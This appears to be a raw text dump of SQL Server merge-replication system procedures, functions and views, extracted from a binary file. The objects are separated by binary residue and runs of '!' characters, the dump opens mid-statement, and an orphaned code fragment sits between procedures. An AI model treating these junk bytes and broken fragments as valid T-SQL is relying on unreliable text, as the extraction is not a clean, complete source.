                 lower(parameter_name collate SQL_Latin1_General_CP1_CS_AS) = @dash_parameter_name collate SQL_Latin1_General_CP1_CS_AS))
    BEGIN
        update dbo.MSmerge_agent_parameters set value = @parameter_value where 
            profile_name = @profile_name and 
            (lower(parameter_name collate SQL_Latin1_General_CP1_CS_AS) = @slash_parameter_name collate SQL_Latin1_General_CP1_CS_AS or
            lower(parameter_name collate SQL_Latin1_General_CP1_CS_AS) = @dash_parameter_name collate SQL_Latin1_General_CP1_CS_AS) 

        if @@error <> 0
            return(1)
    END
    ELSE
    BEGIN
        insert into dbo.MSmerge_agent_parameters values (@profile_name, @parameter_name, @parameter_value) ;
        if @@error <> 0
            return(1)
    END
0
- 8create procedure sys.sp_MScreatelightweightarticleprocs
	@pubid		uniqueidentifier,
	@artid		uniqueidentifier,
	@conflict_proc sysname = NULL
as
	set nocount on

	declare @tablenick			int
	declare @destination_object	sysname
	declare @procname			nvarchar(70)
	declare @cmd				nvarchar(4000)
	declare @qualified_name 	nvarchar(517)
	declare @postfix			nchar(32)
    declare @retcode			smallint
    declare @dbname				sysname
    declare @destination_owner	sysname
    declare @updateable		bit
    declare @conflict_table sysname
    declare @objid			int
    declare @conflict_table_schema sysname

	select @tablenick= nickname, @destination_object= destination_object, 
		   @postfix= procname_postfix, @destination_owner= destination_owner,
		   @conflict_table = conflict_table, @objid = objid
		from dbo.sysmergearticles 
		where pubid = @pubid and artid = @artid

	set @updateable= sys.fn_MSarticle_allows_DML_at_this_replica(@artid, default)
	set @dbname= db_name()

	if @destination_owner is NULL or @destination_owner=''
		select @qualified_name = quotename(@destination_object)
	else
		select @qualified_name = quotename(@destination_owner) + '.' + quotename(@destination_object)

	-- Create multipurpose proc.
	set @procname= 'MSmerge_lws_sp_multi_' + @postfix
	if not exists (select * from sys.procedures where name = @procname and type = 'P')
	begin
		set @cmd= 'sys.sp_MScreatelightweightmultipurposeproc
					@pubid= [' + convert(nchar(36), @pubid) + '],
					@artid= [' + convert(nchar(36), @artid) + ']'
        exec @retcode= sys.xp_execresultset @cmd, @dbname
        if @@error <> 0 or @retcode <> 0 return 1
        set @cmd= 'grant exec on ' + quotename(@procname) + ' to public'
		exec @retcode= sys.sp_executesql @cmd
        if @@error <> 0 or @retcode <> 0 return 1
	end

	-- Create insert proc.
	set @procname= 'MSmerge_lws_sp_ins_' + @postfix
	if not exists (select * from sys.procedures where name = @procname and type = 'P')
	begin
		set @cmd= 'sys.sp_MScreatelightweightinsertproc
					@pubid= [' + convert(nchar(36), @pubid) + '],
					@artid= [' + convert(nchar(36), @artid) + ']'
        exec @retcode= sys.xp_execresultset @cmd, @dbname
        if @@error <> 0 or @retcode <> 0 return 1
        set @cmd= 'grant exec on ' + quotename(@procname) + ' to public'
		exec @retcode= sys.sp_executesql @cmd
        if @@error <> 0 or @retcode <> 0 return 1
	end

	-- Create update proc.
	set @procname= 'MSmerge_lws_sp_upd_' + @postfix
	if not exists (select * from sys.procedures where name = @procname and type = 'P')
	begin
		set @cmd= 'sys.sp_MScreatelightweightupdateproc
					@pubid= [' + convert(nchar(36), @pubid) + '],
					@artid= [' + convert(nchar(36), @artid) + ']'
        exec @retcode= sys.xp_execresultset @cmd, @dbname
        if @@error <> 0 or @retcode <> 0 return 1
        set @cmd= 'grant exec on ' + quotename(@procname) + ' to public'
		exec @retcode= sys.sp_executesql @cmd
        if @@error <> 0 or @retcode <> 0 return 1
	end
	
	-- Create delete proc.
	set @procname= 'MSmerge_lws_sp_del_' + @postfix
	if not exists (select * from sys.procedures where name = @procname and type = 'P')
	begin
		exec @retcode= sys.sp_MScreatelightweightdeleteproc
						@procname= @procname,
						@destination_object= @qualified_name,
						@tablenick= @tablenick
        if @@error <> 0 or @retcode <> 0 return 1
	end


    if @conflict_proc IS NOT NULL
    begin
        select @conflict_table_schema = SCHEMA_NAME(schema_id) from sys.objects where name = @conflict_table and type = 'U'
        if @@ERROR<>0  return 1

        set @cmd = 'sys.sp_MSmakeconflictinsertproc ' + QUOTENAME(@conflict_table) + ' , ' + QUOTENAME(@conflict_table_schema) + ' , ' + quotename(@conflict_proc)  + ' , ' + convert(nvarchar,@objid) 
        set @cmd = @cmd + ', [' + convert(nchar(36), @pubid) + ']'
        exec @retcode = sys.xp_execresultset @cmd, @dbname
        if @@ERROR<>0 OR @retcode<>0  return 1
        exec @retcode = sys.sp_MS_marksystemobject @conflict_proc 
        if @@ERROR<>0 or @retcode<>0  return 1
		set @cmd = 'grant exec on ' + quotename(@conflict_proc) + ' to public'
        exec @retcode = sys.sp_executesql @cmd
        if @@ERROR<>0 or @retcode<>0 return 1
        update dbo.sysmergearticles set ins_conflict_proc = @conflict_proc where artid = @artid and pubid=@pubid
    end

	return 0
select @is_p2p = 0

	return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!J
,`	<lUER0u@ 8
create procedure sys.sp_reinitmergepullsubscription
    @publisher        sysname  = 'all',
    @publisher_db    sysname  = 'all',
    @publication    sysname  = 'all',
    @upload_first    nvarchar(5) = 'FALSE'
AS
    declare @schemaversion            int
    declare @schematype                smallint
    declare @schemaguid                uniqueidentifier
    declare @pubname                sysname
    declare @publisher_name            sysname
    declare @retcode                int
    declare @pubdb                    sysname
    declare @pubid                    uniqueidentifier
    declare @subid                    uniqueidentifier
    declare @artid                    uniqueidentifier
    declare @first_subscriber        bit
    declare @db_name                sysname

    exec @retcode = sys.sp_MSreplcheck_subscribe
    if (@retcode <> 0 or @@error <> 0)
        return 1
    
    if LOWER(@upload_first collate SQL_Latin1_General_CP1_CS_AS) not in ('true', 'false')
    begin
        raiserror(14148, 16, -1, '@upload_first')
        return (1)
    end

    /*
    ** Replace 'all' with '%'
    */
    set nocount on
    if LOWER(@publication) = 'all'
        SELECT @publication = '%'

    if LOWER(@publisher) = 'all'
        SELECT @publisher = '%'

    if LOWER(@publisher_db) = 'all'
        SELECT @publisher_db = '%'

    select @retcode = 0

    /*
    ** At subscriber side, we need to qualify the publication with server name and database name
    */
    IF NOT EXISTS (SELECT * FROM dbo.sysmergepublications WHERE name LIKE @publication 
        and ((@publisher = N'%') or (UPPER(publisher) = UPPER(@publisher))) 
        and ((@publisher_db = N'%') or (publisher_db = @publisher_db)) )
        
    BEGIN
        IF @publication = '%'
                RAISERROR (14008, 11, -1)
        ELSE
                RAISERROR (20026, 11, -1, @publication)
        RETURN (1)
    END

	set @first_subscriber = 1
	
	Declare SYN_CUR CURSOR LOCAL FAST_FORWARD FOR 
		select subs.pubid, subs.subid, pubs.name, pubs.publisher, pubs.publisher_db
			from dbo.sysmergepublications pubs, dbo.sysmergesubscriptions subs
				where pubs.name LIKE  @publication
                    AND ((@publisher = '%') OR (UPPER(pubs.publisher) = UPPER(@publisher)))
                                        AND ((@publisher_db = N'%') OR (pubs.publisher_db = @publisher_db))
                    AND pubs.pubid=subs.pubid
                    AND subs.pubid<>subs.subid
                    AND (sys.fn_MSmerge_islocalsubid(subs.subid)=1)
                    AND (subs.subscription_type = 1 or subs.subscription_type = 2 or subs.subscription_type = 3) 
                    --only reinit pull/anonymous/light-weight subscriptions
    FOR READ ONLY

    open SYN_CUR
    fetch SYN_CUR into @pubid, @subid, @pubname, @publisher_name, @pubdb
    while (@@fetch_status<>-1)
    BEGIN    
        -- The following code only executes if there is at least one subscriber
        if @first_subscriber = 1
        begin
            -- 
            -- If it is the user's desire to reinitialize the pull subscriptions,
            -- we should make sure that new snapshots are delivered from scratch
            -- to this subscription database by resetting the snapshot delivery
            -- progress table.
            --
            exec @retcode = sys.sp_resetsnapshotdeliveryprogress 
            if @retcode <> 0 or @@error <> 0 return (1)

            set @first_subscriber=0
        end
    
        -- do not update schemaversion if the initial snapshot has never been applied.
        update dbo.sysmergesubscriptions set schemaversion=-1, recgen = NULL, recguid=NULL, 
            sentgen=NULL, sentguid = NULL where subid=@subid and schemaversion is not null

        if (@@rowcount <> 0)
        begin
        	if LOWER(@upload_first collate SQL_Latin1_General_CP1_CS_AS)='true'
        		update dbo.sysmergesubscriptions set status=5 where subid=@subid
        	else
        	begin
        		-- if they have previously requested reinit with upload first=true, status
				-- has been changed to 5. We have lost the info about the status before the 
				-- previous reinit. Use last_sync_status to determine whether the new status
				-- should be 0 or 1.
				update dbo.sysmergesubscriptions set status = 
					case when last_sync_status is null then 0 else 1 end
				where subid=@subid
				and status = 5
				
        		exec @retcode=sys.sp_MSCleanupForPullReinit @publication=@pubname,
                                        	  @publisher=@publisher_name,
                                        	  @publisher_db=@pubdb
                                      
        		if @retcode<>0 or @@ERROR<>0 return (1)
        	end
        end

		update dbo.sysmergesubscriptions 
			set recgen = NULL, recguid=NULL, sentgen=NULL, sentguid = NULL, replicastate= newid()
		where subid=@pubid and pubid=@pubid

        fetch next from SYN_CUR into @pubid, @subid, @pubname, @publisher_name, @pubdb	
        	-- so that it won't be treated as a new susbscription	
    END
    close SYN_CUR
    deallocate SYN_CUR

    -- If @first_subscriber is 1 then we didn't find any pull subscribers.
    if @first_subscriber = 1
    begin
        select @db_name = db_name()
        raiserror(21226,16,-1,@db_name)
        return 1
    end
    
    return 0
0z 8
create function sys.fn_add_units_to_date(
    @number_of_units int,
    @unit_of_time tinyint,
    @start_date datetime
) returns datetime
as
begin
    declare @resulting_date datetime
    
    select @resulting_date = 
        case    when @unit_of_time = 0
                    then dateadd(dd, @number_of_units, @start_date)
                when @unit_of_time = 1
                    then dateadd(wk, @number_of_units, @start_date)
                when @unit_of_time = 2
                    then dateadd(mm, @number_of_units, @start_date)
                when @unit_of_time = 3
                    then dateadd(yy, @number_of_units, @start_date)
                when @unit_of_time = 4
                    then dateadd(hh, @number_of_units, @start_date)
                when @unit_of_time = 5
                    then dateadd(mi, @number_of_units, @start_date)
        end
                    
    return @resulting_date
end
0z 8create function sys.fn_replgetWorstWarningExpirationMergesubscriptionsOnPublication (
    @publisher_id smallint, 
    @publisher_db sysname,
    @publication sysname,
    @publication_id int,
    @currentdate datetime
)
returns int
as
begin
    declare @WorstSyncTime int
    set @WorstSyncTime=0
    select @WorstSyncTime=min(DATEDIFF(minute, sessions.start_time, @currentdate) )
	    from dbo.MSmerge_subscriptions subs
	    ,dbo.MSmerge_agents agents
	    ,dbo.MSmerge_sessions sessions
	    ,(
	    	select agent_id, max(start_time) as maxtime 
	    	from dbo.MSmerge_sessions group by agent_id
	    ) as latest
	    where subs.publication_id=@publication_id
	    and subs.publisher_db=@publisher_db
	    and subs.publisher_id=@publisher_id
	    and subs.subscriber_id=agents.subscriber_id
	    and subs.subscriber_db=agents.subscriber_db
	    and agents.publisher_id=@publisher_id
	    and agents.publisher_db=@publisher_db 
	    and agents.publication=@publication	    
	    and agents.id=sessions.agent_id
	    and sessions.agent_id=latest.agent_id
	    and latest.maxtime=sessions.start_time
    return @WorstSyncTime
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	< Yt0 8 
-- add it
create view sys.dm_pdw_nodes_os_schedulers as
select *, convert(int, null) pdw_node_id from sys.dm_os_schedulers
0@ 8create procedure sys.sp_MScreate_sub_tables 
(
    @tran_sub_table                 bit = 0,
    @property_table                 bit = 1,
    @sqlqueue_table                 bit = 0,
    @subscription_articles_table    bit = 0,
    @p2p_table                         bit = 0
)
as
BEGIN
    set nocount on
    declare @retcode int
    --
    -- security check
    --
    exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @retcode <> 0 or @@error <> 0
        return 1
    --
    -- now invoke the internal routine
    --
    exec @retcode = sys.sp_MScreate_sub_tables_internal 
                            @tran_sub_table  = @tran_sub_table,
                            @property_table = @property_table,
                            @sqlqueue_table = @sqlqueue_table,
                            @subscription_articles_table = @subscription_articles_table,
                            @p2p_table = @p2p_table
    return @retcode
END
0%U@ 8--
-- Name: sp_MSresetsnapshotdeliveryprogress
--
-- Description: This procedure removes all rows in the  
--              MSsnapshotdeliveryprogress table (if it exists) corresponding
--              to the specified snapshot delivery session. This will
--              effectively wipes out all memory of any previous 
--              progress that the snapshot delivery processes had made to
--              the subscriber database.
--
-- Notes: This procedure should be called at the subscriber database by
--        the distribution or the merge agent.
--
-- Parameter: @snapshot_session_token nvarchar(260) (mandatory)
--                - A UniCode string that uniquely identifies a snapshot
--                  delivery session. For now, this will be the snapshot
--                  generation folder of the snapshot being applied. 
--
-- Returns: 0 - succeeded
--          1 - failed
--
-- Security: Execute permission of this procedure is granted to public;
--           procedural security check will be performed to make sure
--           that the caller is either a db_owner of the current database
--           or a sysadmin. 
--
create procedure sys.sp_MSresetsnapshotdeliveryprogress
    @snapshot_session_token nvarchar(260)
as
begin
    set nocount on
    declare @retcode int
    select @retcode = 0
    exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @retcode <> 0 or @@error <> 0
    begin
        select @retcode = 1
        goto FAILURE
    end
    if object_id('dbo.MSsnapshotdeliveryprogress') is not null
    begin
        delete dbo.MSsnapshotdeliveryprogress
        where session_token = @snapshot_session_token
        if @retcode <> 0 or @@error <> 0
        begin
            select @retcode = 1
            goto FAILURE
        end
    end
    if @retcode <> 0 or @@error <> 0
    begin
        select @retcode = 1
        goto FAILURE
    end


FAILURE:
    return @retcode    
end
0- '8create function sys.fn_replgetNumMergesubscriptionsOnPublication (
    @publisher_id smallint, 
    @publisher_db sysname,
    @publication sysname,
    @publication_id int
)
returns int
as
begin
    declare @NumMergesubscriptions int
    set @NumMergesubscriptions=NULL

    select @NumMergesubscriptions=count(*) from dbo.MSmerge_subscriptions
    where publication_id=@publication_id
    and publisher_id=@publisher_id
    and publisher_db=@publisher_db
    
    return @NumMergesubscriptions
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
<Y}0	 E8create procedure sys.sp_MShelp_identity_property
(
    @tablename  sysname,
    @ownername  sysname = NULL
)
AS
BEGIN
declare @qualified_name     nvarchar(270)
            ,@objid                int
            ,@retcode            int
            ,@proc                nvarchar(300)
            ,@distributor        sysname
            ,@distribdb            sysname
            ,@publisher            sysname
            ,@publisherdb        sysname
            ,@pub_range            bigint
            ,@sub_range            bigint
            ,@threshold            int
            ,@artid                int
            ,@next_seed            bigint
            ,@current_max        bigint
            ,@replicated_already    bit
            ,@auto_identity_support int
            ,@identity_incr        int 
            ,@current_identity    bigint
            ,@max_identity        bigint    
            ,@xprec                int
            ,@xtype                int
            ,@republishing        bit
            ,@length                int

select @replicated_already = 0
        ,@auto_identity_support = 0
        ,@republishing = 0
        ,@pub_range    = NULL
        ,@sub_range    = NULL
        ,@threshold    = NULL
        ,@next_seed    = NULL
        ,@current_max    = NULL

-- Security check
exec @retcode = sys.sp_MSrepl_PAL_rolecheck
if (@retcode <> 0) or (@@error <> 0)
begin
    RAISERROR (14126, 11, -1)
    return 1
end

if @ownername is not NULL
begin
    select @qualified_name = QUOTENAME(@ownername) + '.' + QUOTENAME(@tablename)
    select @objid = object_id(@qualified_name)
end
else
begin
    select @qualified_name = QUOTENAME(@tablename)
    select @objid = object_id from sys.objects where name=@tablename
end
if @objid is NULL
begin
    raiserror(14027, 16, -1, @tablename)
    return (1)
end

if OBJECTPROPERTY(@objid, 'tablehasidentity') <> 1
begin
    raiserror(21194, 16, -1)
    return (1)
end

select @xtype=system_type_id, @xprec=precision, @length=max_length from sys.columns where object_id=@objid and is_identity=1

select @max_identity = case @xtype 
                         when 52 then power((convert(bigint,2)), 8*2 -1) - 1 --smallint 
                         when 48 then power((convert(bigint,2)), 8 - 1) - 1          --tinyint
                         when 56 then power((convert(bigint,2)), 8*4 - 1) - 1          --int
                         when 127 then power((convert(bigint,2)), 62) -1 + power((convert(bigint,2)), 62)          --bigint
                         else power((convert(bigint,2)), 62) - 1 + power((convert(bigint,2)), 62)               --bigint;.
                       end

if (@xtype=108 or @xtype=106) and @xprec<18
    select @max_identity = power((convert(bigint,10)), (@xprec+1)) - 1

select @identity_incr = IDENT_INCR(@qualified_name)
        ,@current_identity =  isnull(ident_current(@qualified_name), ident_seed(@qualified_name))

if object_id('sysmergearticles') is not NULL
begin
    if exists (select * from dbo.sysmergearticles where objid=@objid)
    begin
        declare @articleid uniqueidentifier
        select @replicated_already = 1,
               @auto_identity_support = isnull(identity_support,0),
               @pub_range = pub_range,
               @sub_range = range,
               @threshold = threshold,
               @articleid = artid
        from dbo.sysmergearticles where objid=@objid and (sys.fn_MSmerge_islocalpubid(pubid)=1)
        if exists (select pubid from dbo.sysmergearticles where artid = @articleid and (sys.fn_MSmerge_islocalpubid(pubid)=0))
            select @republishing = 1
        select @next_seed = max_used from dbo.MSmerge_identity_range where artid=@articleid and is_pub_range=1 and (sys.fn_MSmerge_islocalsubid(subid)=1)            
    end
end

if object_id('sysarticles') is not NULL
begin
    if exists (select * from sysarticles where objid=@objid)
    begin
        select @replicated_already = 1,
                 @artid = artid from sysarticles where objid=@objid
        select @auto_identity_support = isnull(identity_support,0) from sysarticleupdates where artid=@artid

        if @auto_identity_support=1
        begin
            select @pub_range    = 0
                    ,@sub_range    = 0
                    ,@threshold    = 0
                    ,@next_seed    = 0
                    ,@current_max    = 0
                    ,@publisher=publishingservername()
                    ,@publisherdb=db_name()

            EXEC @retcode = sys.sp_MSrepl_getdistributorinfo     @rpcsrvname = @distributor OUTPUT,
                 @distribdb   = @distribdb   OUTPUT
            IF @@error <> 0 OR @retcode <> 0
                RETURN (1)

            IF @distribdb is null
            BEGIN
                RAISERROR (14071, 16, -1)
                RETURN (1)
            END
             
            SELECT @proc = RTRIM(@distributor) + '.' + RTRIM(@distribdb) + '.dbo.sp_MScheck_pub_identity'
            exec @retcode = @proc @publisher=@publisher, 
                                @publisher_db=@publisherdb,  
                                @tablename=@tablename,
                                @current_max=@current_max OUTPUT,
                                @pub_range=@pub_range OUTPUT,
                                @range = @sub_range OUTPUT,
                                @threshold=@threshold OUTPUT,
                                @next_seed = @next_seed OUTPUT
            if @retcode<>0 or @@ERROR<>0
                return (1)

            -- Tran pub range is not stored at the distributor
            if @pub_range = 0
            begin
                if object_id('MSpub_identity_range') is not null
                begin
                    select @pub_range = pub_range from MSpub_identity_range where objid = @objid 
                end
            end
        end
    end
end
--
-- process identityrangemanagementoption
-- NFR enabled
-- check if auto_identity_support is set - AUTO else MANUAL
--
if (@auto_identity_support != 1) and 
    exists (select name from sys.columns
                where object_id = @objid and
                is_identity = 1 and -- is identity
                ColumnProperty(object_id, name, 'IsIdNotForRepl') = 1) -- No 'not for repl' property
begin
    select @auto_identity_support = 2 --manual
end

if @replicated_already = 0
begin
    select @pub_range = case @xtype 
                             when 48 then 20 --tinyint
                             when 52 then 1000 --smallint 
                             when 56 then 10000 --int
                             when 127 then 100000 --bigint
                             else 100000 --bigint
                           end

    select @sub_range = case @xtype 
                             when 48 then 20 --tinyint
                             when 52 then 100 --smallint 
                             when 56 then 1000 --int
                             when 127 then 10000 --bigint
                             else 10000 --bigint
                           end

end

SELECT N'replicated' = @replicated_already, 
       N'auto_identity_support' = @auto_identity_support, 
       N'identity_incremental' = @identity_incr, 
       N'current_identity' = @current_identity,
       N'next_starting_seed' = @next_seed, 
       N'max_identity' = @max_identity, 
       N'publisher_range' = ABS(@pub_range), 
       N'subscriber_range' = ABS(@sub_range), 
       N'threshold' = @threshold,
       N'in_republishing' = @republishing
END
0 D81Oh/!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`g^<yV80@ ;8CREATE VIEW sys.dm_tran_session_transactions AS
	SELECT 
		session_id,
		transaction_id,
		transaction_descriptor,
		enlist_count,
		is_user_transaction,
		is_local,
		is_enlisted,
		is_bound,
		open_transaction_count
	FROM OpenRowset(TABLE dm_tran_session_transactions)
0< ~8
create view sys.spt_procedures_system
as
    -- For non-numbered procedures
    select
        name                = o.name,
        object_id           = o.object_id,
        schema_id           = o.schema_id,
        procedure_number    = convert(smallint, -- not in sys.all_objects
                                       case     -- These conditions should match the ones in sys.spt_parameters_numbered_parameters
                                           when o.type in ('P', 'PC') then 1
                                           else                            0 -- 'FN', 'TF', 'IF'
                                       end),
        type                = o.type,
        create_date         = o.create_date
    from
        sys.system_objects o
    where
        o.type in ('P', 'FN', 'TF', 'IF', 'PC') -- Object type of Procedure
0e 8create procedure sys.sp_MSremoveidrangesupport
    (@pubid uniqueidentifier, @artid uniqueidentifier, @propagate_ddl_change bit = 0)
as
    set nocount on
    declare @retcode        smallint
    declare @source_table   nvarchar(517)
    declare @ownername      sysname
    declare @objectname     sysname
    declare @objid          int

    select @objid = max(objid) from dbo.sysmergearticles where artid = @artid
    if @objid is NULL 
        return 0

    -- get owner name, and table name
    select @objectname = name, @ownername = schema_name(schema_id)
        from sys.objects where object_id = @objid
    -- construct the qualified table name
    select @source_table = QUOTENAME(@ownername) + '.' + QUOTENAME(@objectname)

    -- no need to check if the other publication also had id range enabled, as it is required
    -- that all publications publishing the same article, should have the same id range
    -- management option

    if exists (select * from dbo.sysmergearticles where artid=@artid and pubid<>@pubid)
    begin
        if exists (select * from MSmerge_identity_range where artid=@artid and subid=@pubid)
        begin
            declare @pubid_other uniqueidentifier
            select top 1 @pubid_other=pubid from dbo.sysmergearticles where artid=@artid and pubid<>@pubid
            if @pubid_other is NULL
                return (1)
            update dbo.MSmerge_identity_range set subid=@pubid_other where subid=@pubid and artid=@artid 
            if @@ERROR<>0
                return (1)
            delete from dbo.MSmerge_identity_range where artid=@artid and subid in (select subid from dbo.sysmergesubscriptions where pubid=@pubid)
            if @@ERROR<>0
                return (1)
        end
    end
    else
    begin
        declare @constraintname nvarchar(258)
        select @constraintname = 'repl_identity_range_%' + convert(nvarchar(36), @artid)  
        select @constraintname = REPLACE(@constraintname, '-', '_')
        if exists (select * from sys.objects where name like @constraintname and type='C')
        begin
            select @constraintname = quotename(name) from sys.objects where name like @constraintname and type ='C'
            -- turn on context bit if needed so DDL event will not be replicated
            EXEC @retcode = sys.sp_MSsetcontext_merge_identityrangeddlbit @onoff=1
            IF @@ERROR <> 0 or @retcode <> 0
                RETURN(1)
             
            exec ('alter table '+ @source_table + ' drop constraint ' + @constraintname)
            if @@ERROR<>0
            begin
                EXEC sys.sp_MSsetcontext_merge_identityrangeddlbit @onoff=0
                return (1)
            end
            EXEC sys.sp_MSsetcontext_merge_identityrangeddlbit @onoff=0
            IF @@ERROR <> 0 or @retcode <> 0
                RETURN(1)

            if @propagate_ddl_change = 1
            begin
                declare @schematext           nvarchar(4000)
                declare @schemaversion      int
                declare @schemaguid          uniqueidentifier
                declare @schematype          int

                select @schemaversion = schemaversion from dbo.sysmergeschemachange
                if (@schemaversion is NULL)
                    set @schemaversion = 1
                else
                    select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange        
                set @schemaguid = newid()
                set @schematype = 300 /* REPLICATE_DDL_ACTIONS */
                set @schematext = N' if object_id(N''' + sys.fn_replreplacesinglequote(@source_table) + ''', ''U'') is not NULL and object_id(N''' + @constraintname + ''', ''C'') is not NULL alter table '+ @source_table + ' drop constraint ' + @constraintname
                exec @retcode=sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext
            end
        end

        if exists (select * from dbo.MSmerge_identity_range where artid=@artid)
        begin
            delete from dbo.MSmerge_identity_range where artid=@artid and subid in (select subid from dbo.sysmergesubscriptions where pubid=@pubid)
            if @@ERROR<>0
                return (1)       
            DBCC CHECKIDENT(@source_table, RESEED) with no_infomsgs
            if @@ERROR<>0
                return (1)       
        end
    end
0 >8create function sys.fn_MSvector_downloadonly(
                @vector varbinary(2953),
                @tablenick int)
        returns varbinary(311)
as
begin
    if 1 = sys.fn_MSarticle_has_downloadonly_property(@tablenick)
        set @vector= null

    return @vector
end
